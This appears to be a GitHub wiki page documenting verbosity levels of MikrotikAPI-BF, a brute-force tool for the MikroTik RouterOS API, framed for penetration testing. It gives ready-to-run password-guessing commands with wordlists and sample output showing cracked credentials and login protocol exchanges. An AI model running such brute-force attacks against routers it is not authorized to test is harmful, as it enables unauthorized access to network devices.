Verbose Guide - mrhenrike/MikrotikAPI-BF GitHub Wiki

Verbose Guide

Language: English Β· PortuguΓͺs (pt-BR)

Understanding the three verbosity levels in MikrotikAPI-BF.


Verbosity Levels

Flag Level Shows
(none) Silent Only successful credentials + final summary
-v Verbose All attempts (success + failure), ETA, rate
-vv Very verbose RouterOS API protocol messages
-vvv Debug Raw bytes on the wire (hex dump)

Silent Mode (Default)

python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt --progress

Output:

[β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘β–‘β–‘β–‘] 74.2%  37100/50000  3.2 att/s  ETA: 4h 02m

[FOUND] admin:password123
  RouterOS: 7.12.1 | Board: RB450Gx4 | Serial: HF507ABCDE12
  Validated: api, ftp, ssh

Summary: 37100 attempts | 1 found | 4h 02m elapsed

Verbose Mode (-v)

python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt -v

Additional output:

[ATTEMPT] admin:admin123        β†’ FAIL (0.18s)
[ATTEMPT] admin:mikrotik        β†’ FAIL (0.21s)
[ATTEMPT] admin:password123     β†’ SUCCESS (0.14s)
[ATTEMPT] admin:admin           β†’ (skipped β€” already found)

Very Verbose Mode (-vv)

python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt -vv

Shows RouterOS API protocol messages:

β†’ CONNECT 192.168.88.1:8728
← Banner: !done
β†’ SEND /login =name=admin =password=admin123
← !done ret=<hash>
β†’ SEND /login =name=admin =response=00<hash_response>
← !trap message=invalid credentials
β†’ SEND /login =name=admin =password=password123
← !done (authenticated)

Debug Mode (-vvv)

python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt -vvv

Shows raw bytes (hex dump):

β†’ TX [4 bytes]: 06 2f 6c 6f
   [6 bytes]: 67 69 6e 00 00 00
← RX [12 bytes]: 05 21 64 6f 6e 65 00 ...

Useful for debugging custom wordlists, proxy issues, or RouterOS API version mismatches.


Recommended Combinations

# Fast pentest with just found credentials
python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt --progress

# Detailed log for deliverable evidence
python mikrotikapi-bf.py -t 192.168.88.1 -d combos.txt -v --export-all 2>&1 | tee pentest.log

# Protocol debugging
python mikrotikapi-bf.py -t 192.168.88.1 -U admin -P admin -vvv

See also: Usage Examples Β· API Reference

⚠️ **GitHub.com Fallback** ⚠️